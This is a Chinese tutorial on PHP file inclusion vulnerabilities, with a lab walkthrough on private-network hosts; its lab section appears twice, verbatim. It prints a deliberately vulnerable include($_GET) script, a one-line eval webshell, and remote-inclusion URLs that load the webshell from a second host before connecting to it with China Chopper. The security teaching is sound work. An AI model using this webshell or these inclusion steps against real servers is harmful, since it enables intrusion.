文件包含漏洞原理及利用
1GB 人气:0一、文件包含漏洞的原理
服务器解析执行php文件时能够通过包含函数加载另外一个文件中的php代码,当被包含的文件中存在木马时,也就意味着木马程序会在服务器上加载执行。下面介绍php的四种文件包含函数。
require() | 只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本 |
include() |
执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
|
include_once()
|
若文件中代码已被包含则不会再次包含 |
require_once()
|
若文件中代码已被包含则不会再次包含
|
现在给出一段代码,如果这段代码出现在服务器上的某个php文件中(这个php文件能被访问),很有可能会产生文件包含漏洞。
<?php $filename = $_GET['filepath']; include($filename); ?>
文件包含漏洞包括本地文件包含漏洞和远程文件包含漏洞,顾名思义,本地文件包含漏洞指的是包含本地的php文件,远程文件包含漏洞包含的是其它服务器上的php文件。废话不多说,让我们来实验一下文件包含漏洞。
二、文件包含漏洞的利用
(1)实验环境
(a)一台windows虚拟机(192.168.227.139)上安装有phpstudy,并对参数进行如下设置:
(b)准备漏洞php程序fileinclude.php:
1:fileinclude-- </br>
<?php
$filename = $_GET['filepath'];
include($filename);
?>
准备一句话木马程序muam.txt、muma.php:
2:muma--txt
<?php @eval($_POST['tp']); ?>
(c)准备一台安装有IIS的服务器(192.168.227.147),并将muam.txt、muma.php木马放入网站目录下:
将php漏洞程序fileinclude.php放到windows虚拟机(192.168.227.139)的站点目录下
(d)对IIS进行如下设置(非必须):
复现IIS目录遍历漏洞
对Apache进行如下设置(非必须)
修改l.php文件名或者将其删除,复现Apache目录遍历漏洞:
(2)测试IIS服务器和Apache服务器
IIS环境正常:
Apache环境正常:
(3)远程包含漏洞包含一句话木马——muma.php
在浏览器中输入url:
http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.php
使用中国菜刀连接:
连接成功
(4)远程包含漏洞包含一句话木马——muma.txt
在浏览器中输入url:
http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.txt
使用中国菜刀连接:
连接成功:
2020-03-08
这是手工搭建环境复现文件包含漏洞,下一篇介绍web for pentester系统实验文件包含漏洞测试
(1)实验环境
(a)一台windows虚拟机(192.168.227.139)上安装有phpstudy,并对参数进行如下设置:
(b)准备漏洞php程序fileinclude.php:
1:fileinclude-- </br>
<?php
$filename = $_GET['filepath'];
include($filename);
?>
准备一句话木马程序muam.txt、muma.php:
2:muma--txt
<?php @eval($_POST['tp']); ?>
(c)准备一台安装有IIS的服务器(192.168.227.147),并将muam.txt、muma.php木马放入网站目录下:
将php漏洞程序fileinclude.php放到windows虚拟机(192.168.227.139)的站点目录下:
(d)对IIS进行如下设置(非必须):
复现IIS目录遍历漏洞
对Apache进行如下设置(非必须)
修改l.php文件名或者将其删除,复现Apache目录遍历漏洞:
(2)测试IIS服务器和Apache服务器
IIS环境正常:
Apache环境正常:
(3)远程包含漏洞包含一句话木马——muma.php
在浏览器中输入url:
http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.php
使用中国菜刀连接:
连接成功
(4)远程包含漏洞包含一句话木马——muma.txt
在浏览器中输入url:
http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.txt
使用中国菜刀连接:
连接成功:
加载全部内容